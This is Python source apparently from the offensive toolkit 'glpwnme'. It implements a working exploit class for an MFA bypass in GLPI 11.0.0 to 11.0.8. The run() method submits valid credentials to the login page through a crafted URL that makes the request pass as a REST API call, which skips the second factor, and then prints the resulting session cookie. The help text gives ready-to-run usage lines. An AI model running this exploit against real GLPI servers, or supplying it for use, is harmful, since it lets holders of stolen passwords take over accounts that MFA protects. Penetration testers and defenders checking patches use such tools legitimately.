import time
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils, LoginResult

class CVE_2026_52848(GlpiExploit):
    """
    This CVE abuse the isAPI function which fails to safely check if
    the request is related to an API call. As MFA is not applied on
    Rest API, it can be used to circumvent MFA of a user.

    @author Jrjgjk, Mayfly
    @cvss 5.2
    @name CVE_2026_52848
    """
    min_version = "11.0.0"
    max_version = "11.0.8"
    _impacts = "MFA Bypass"

    def infos(self):
        """
        Infos that will be displayed to the user when using --infos argument

        :return: The infos about this exploit (rich formatted)
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos = "This exploit abuses a failed check on the function isAPI().\n"
        infos = "With this you anyone with valid credentials can circumvent the MFA protection.\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]username[/i]: Username to connect with\n"
        infos += " - [i]password[/i]: Password to connect with\n"
        infos += " - [i]auth (optionnal)[/i]: The auth to use (local, ldap, ...)\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Circumvent the MFA for the user post-only[/]\n"
        infos += "--run -O username='post-only' password='postonly'\n"

        infos += "\n[grey66]# Connect with another user which uses ldap[/]\n"
        infos += "--run -O username='testldap' password='testldap_pass' auth='ldap-1'\n"

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def run(self, username, password, auth=None):
        """
        Run the exploit on the target
        You can add any argument on this function
        """
        login_status = self.glpi_session.login(username, password, others={"auth": auth})
        if login_status == LoginResult.SUCCESS:
            Log.err("MFA is not required")
            return

        if login_status == LoginResult.FAILED:
            Log.err("Invalid credentials")
            return

        Log.log("Credentials are valid, intenting [gold3]MFA bypass[/gold3]")
        rest_api_url = self.glpi_session.r("/apirest.php/")
        login_url = self.glpi_session.r(f"/front/login.php?noAUTO=1&_={rest_api_url}")
        login_data = {"login_name": username, "login_password": password}
        if auth:
            login_data["auth"] = auth

        login_response = self.post(login_url, data=login_data)

        if not self.glpi_session._has_logged_in(login_response.url):
            Log.err(f"Exploit failed, redirected to {login_response.url}")
            return

        Log.msg("MFA [green]bypassed successfully[/green]")
        Log.msg(*self.glpi_session.get_login_cookie(), sep="; ")
